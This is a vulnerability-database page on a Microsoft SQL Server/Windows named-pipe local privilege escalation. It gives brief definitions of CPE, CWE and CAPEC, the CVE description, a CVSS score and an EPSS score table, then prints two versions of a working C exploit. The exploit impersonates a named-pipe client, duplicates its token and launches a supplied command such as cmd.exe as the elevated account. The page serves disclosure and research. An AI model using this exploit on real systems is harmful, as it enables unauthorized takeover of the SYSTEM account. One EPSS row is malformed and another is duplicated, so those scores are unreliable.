CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Microsoft SQL Server before Windows 2000 SP4 allows local users to gain privileges as the SQL Server user by calling the xp_fileexist extended stored procedure with a named pipe as an argument instead of a normal file.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.82%
–
–
2022-03-13
–
–
2.82%
–
–
2022-04-03
–
–
2.82%
–
–
2022-04-17
–
–
2.82%
–
–
2022-10-02
–
–
2.82%
–
–
2023-03-12
–
–
–
0.05%
–
2023-12-24
–
–
–
0.05%
–
2024-03-24
–
–
–
0.05%
–
2024-06-02
–
–
–
0.05%
–
2024-08-11
–
–
–
0.05%
–
2024-11-17
–
–
–
0.05%
–
2025-01-12
–
–
–
0.05%
–
2025-01-19
–
–
–
0.05%
–
2025-03-18
–
–
–
–
0.93%
2025-03-30
–
–
–
–
0.93%
2025-04-15
–
–
–
–
0.93%
2025-04-15
–
–
–
–
0.93,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
// source: https://www.securityfocus.com/bid/8128/info
It has been reported that Microsoft Windows does not properly handle named pipes through the CreateFile API. Because of this, an attacker may be able to gain access to the SYSTEM account.
/* tac0tac0.c - pay no attention to the name, long
story...
*
* Author: Maceo
* Modified to take advantage of CAN-2003-0496 Named
Pipe Filename
* Local Privilege Escalation Found by @stake. Use with
their Advisory.
* -wirepair@sh0dan.org http://sh0dan.org
*
*
* All credits for code go to Maceo, i really did
minimal work
* with his code, it took me like 3 seconds heh.
* Shouts to #innercircle,
*
*/
#include <stdio.h>
#include <windows.h>
int main(int argc, char **argv)
{
DWORD dwNumber = 0;
DWORD dwType = REG_DWORD;
DWORD dwSize = sizeof(DWORD);
if (argc != 2) {
fprintf(stderr, "Usage: %s <cmd.exe>\nNamed Pipe Local
Priv Escalation found by @stake.\n"
"This code is to be used with MS-SQL exactly as
outlined in their advisory\n"
"All credit for this code goes to Maceo, he did a
fine job.. -wire\n",argv[0]);
exit(1);
}
// build the next named pipe name //
char szPipe[64];
//sprintf(szPipe, "\\\\.\\pipe\\net\\NtControlPipe%lu",
++dwNumber);
sprintf(szPipe, "\\\\.\\pipe\\poop");
// create the named pipe before scm can //
HANDLE hPipe = 0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT,
2, 0, 0, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE)
{
printf ("Failed to create named pipe:\n %s\n",
szPipe);
return 3;
}
ConnectNamedPipe (hPipe, NULL);
// assume the identity of the client //
if (!ImpersonateNamedPipeClient (hPipe))
{
printf ("Failed to impersonate the named pipe.\n");
CloseHandle(hPipe);
return 5;
}
// display impersonating users name //
dwSize = 256;
char szUser[256];
GetUserName(szUser, &dwSize);
printf ("Impersonating: %s\n", szUser);
system(argv[1]);
CloseHandle(hPipe);
return 0;
}
// source: https://www.securityfocus.com/bid/8128/info
It has been reported that Microsoft Windows does not properly handle named pipes through the CreateFile API. Because of this, an attacker may be able to gain access to the SYSTEM account.
/* tac0tac0.c - pay no attention to the name, long
story...
*
*
*
* Author: Maceo
* Modified to take advantage of CAN-2003-0496 Named
Pipe Filename
* Local Privilege Escalation Found by @stake. Use with
their advisory
* -wirepair@sh0dan.org
http://sh0dan.org/files/tac0tac0.c
*
*
* All credits for code go to Maceo, i really did
minimal work
* with his code, it took me like 3 seconds heh.
* Shouts to #innercircle,
*
*/
#include <stdio.h>
#include <windows.h>
int main(int argc, char **argv)
{
char szPipe[64];
DWORD dwNumber = 0;
DWORD dwType = REG_DWORD;
DWORD dwSize = sizeof(DWORD);
DWORD dw = GetLastError();
HANDLE hToken, hToken2;
PGENERIC_MAPPING pGeneric;
SECURITY_ATTRIBUTES sa;
DWORD dwAccessDesired;
PACL pACL = NULL;
PSECURITY_DESCRIPTOR pSD = NULL;
STARTUPINFO si;
PROCESS_INFORMATION pi;
if (argc != 2) {
fprintf(stderr, "Usage: %s <cmd.exe>\nNamed Pipe Local
Priv Escalation found by @stake.\n"
"This code is to be used with MS-SQL exactly as
outlined in their advisory\n"
"All credit for this code goes to Maceo, he did a
fine job.. -wire\n"
"Also thanks goes to brett Moore for helping me
with DuplicateTokenEx, thanks buddy guy!\n",argv[0]);
exit(1);
}
memset(&si,0,sizeof(si));
sprintf(szPipe, "\\\\.\\pipe\\poop");
// create the named pipe
HANDLE hPipe = 0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
printf ("Failed to create named pipe:\n %s\n",
szPipe);
return 3;
}
printf("Created Named Pipe: \\\\.\\pipe\\poop\n");
// setup security attribs
pSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR,
SECURITY_DESCRIPTOR_MIN_LENGTH);
InitializeSecurityDescriptor(pSD,
SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE);
sa.nLength = sizeof (SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = pSD;
sa.bInheritHandle = FALSE;
printf("Waiting for connection...\n");
// wait for client to connect
ConnectNamedPipe (hPipe, NULL);
// assume the identity of the client //
if (!ImpersonateNamedPipeClient (hPipe)) {
printf ("Failed to impersonate the named pipe.\n");
CloseHandle(hPipe);
return 5;
}
if (!OpenThreadToken(GetCurrentThread(),
TOKEN_ALL_ACCESS, TRUE, &hToken )) {
if (hToken != INVALID_HANDLE_VALUE) {
printf("GetLastError: %u\n", dw);
CloseHandle(hToken);
exit(0);
}
}
printf("Duplicating Token...\n");
if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,&sa,SecurityImpersonation,
TokenPrimary,&hToken2) == 0) {
printf("error in duplicate token\n");
printf("GetLastError: %u\n", dw);
exit(0);
}
MapGenericMask( &dwAccessDesired, pGeneric );
// display impersonating users name
dwSize = 256;
char szUser[256];
GetUserName(szUser, &dwSize);
printf ("Impersonating: %s\n", szUser);
si.cb = sizeof(si);
si.lpDesktop = NULL;
printf("Creating New Process %s\n", argv[1]);
if(!CreateProcessAsUser(hToken2, NULL, argv[1], &sa,
&sa,true, NORMAL_PRIORITY_CLASS |
CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
printf("GetLastError: %u\n", dw);
}
CloseHandle(hPipe);
return 0;
}